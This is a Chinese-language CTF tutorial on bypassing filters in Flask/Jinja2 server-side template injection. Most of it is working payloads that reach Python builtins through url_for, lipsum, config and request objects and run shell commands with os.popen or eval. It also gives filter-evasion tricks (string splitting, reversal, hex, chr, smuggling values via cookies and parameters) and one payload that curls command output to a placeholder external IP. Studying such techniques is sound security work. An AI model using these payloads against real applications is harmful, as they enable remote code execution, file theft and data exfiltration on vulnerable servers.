0x00 前言
做过很多个SSTI的题目,但一直都没有自己写出过payload,真的菜。本文主要针对Flask的模板注入进行一些过滤的绕过。
0x02 各种过滤的绕过
过滤了点
jinja2中除了Python中靠点获取属性,还可以用中括号,也即:
''.__class__ = ''['__class__']
除此之外,如果连中括号也过滤了的话,还有一个|attr
的过滤器,过滤器可以与Linux中管道符|
进行类比,也即用前面的(输出)作为后面操作的对象
''.__class__ = ''|attr('__class__')
过滤了中括号
过滤了中括号的情况下,除了可以用上文说到的attr过滤器,还可以使用魔法方法__getattribute__
来获取属性,__getitem__
来获取字典中的键值
''.__class__ = ''.__getattribute__('__class__')
url_for.__globals__['__builtins__'] = url_for.__globals__.__getitem__('__builtins__') #__globals__返回的是字典, 另外__builtins__也是
url_for
是Flask中一个特殊的方法(具体作用自己看文档),再模板注入中可用于命令执行:
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
#类似的还有
get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
#另外还有,lipsum.__globals__含有os模块:
{{lipsum.__globals__['os'].popen('ls').read()}}
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}#自己发现这两个也有
{{url_for.__globals__['os'].popen('dir').read()}}
config #{{config}}所有设置,也可以用于获得其他东西
#如下
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
{{ config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
#实际上,对于任何.__init__不带wrapper的都可以调用到__globals__,而在flask中,未定义的也不带,所以有如下payload
foobar.__class__.__init__.__globals__['__builtins__'] #这里面有个opne函数,open("filename").read可以直接读取文件
#foobar.__class__.__init__显示的是:<function Undefined.__init__ at 0x03275658>
对于字典,我们还有其他的一些方法
url_for.__globals__.pop('__builtins__')#删除某个键值,返回值是改键值,不过不建议轻易使用,因为可能删除掉重要的东西
url_for.__globals__.get('__builtins__')#得到某个键值,这个好用
url_for.__globals__.setdefault('__builtins__')#和get类似
后来发现居然忽视了Python可以直接用点操作符
{{url_for.__globals__.__builtins__}}
而过滤了中括号最大的影响,实际是列表取值,还好列表也可以使用__getitem__
''.__class__.__mro__[-1] = ''.__class__.__mro__.__getitem__(-1)
过滤了关键字
对于模板注入,比较有效的方法就是禁止掉payload中的关键字(如class、init等),那么,对于此,我们要怎么绕过呢
拼接
''.__class__ = ''['__cla' + 'ss__']
#或者使用过滤器 ('__clas','s__')|join
厉害的羽师傅
发现了其实并不需要加号
''.__class__ = ''['__cla''ss__']
还可以使用~
进行拼接
''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
转置
''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse
利用str内置方法
''.__class__ = ""['__cTass__'.replace("T","l")] =
''['X19jbGFzc19f'.decode('base64')] = #不知道为什么我这里说'str object' has no attribute 'decode' 原理上讲应该可以(后来发现好是python3的原因)
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss")
编码绕过
可以利用Python的字符串格式化
''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
#或者使用过滤器 ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
还可以利用十六进制的字符绕过
''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
还可以利用chr函数进行转换,但是我们先要找到chr函数
{% set chr=url_for.__globals__['__builtins__'].chr %} #{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
使用request
request #request.__init__.__globals__['__builtins__']
request.args.x1 #get传参
request.values.x1 #所有参数
request.cookies #cookies参数
request.headers #请求头参数
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data #post传参 (Content-Type:a/b)
request.json #post传json (Content-Type: application/json)
千言万语都比不上直接上payload简单明了:
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)
过滤了单双引号
{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag
可以看到request是真的好用,可惜一般直接给你过滤了request,哈哈
还可以利用上面用的chr()方法
{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()
过滤了双花括号
双花括号,即:\{\{
或者 \}\}
{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()
还可以
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /').read()=='p' %}1{% endif %} #python2 没测试过
过滤了小括号
= = 好像无解
0x03 构造字符
有时候过滤特别严格得时候,我们就需要自己想法来构造字符串
过滤器 ()|select|string
()|select|string
得到的结果是: <generator object select_or_reject at 0x十六进制数字>
可以看到有下划线什么的,然后我们就可以用()|select|string[24]
等来取字符,其实foobar|select|string
也是一样的
{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__classs__"
如果过滤了中括号,还可以使用foobar|select|string|list
转换为列表后,使用pop
或者__getitem__
来取值
dict(clas=a,s=b)|join
使用dict(cla=a,s=b)|join
后,得到的是字符串”class”,可以直接看看下面的payload
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}#("_","_","init","_","_")|join() 实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
dict(e=a)|join|count
当过滤数字的时候,我们可以用这种方法得到数字
dict(e=a)|join|count #1
dict(ee=a)|join|count #2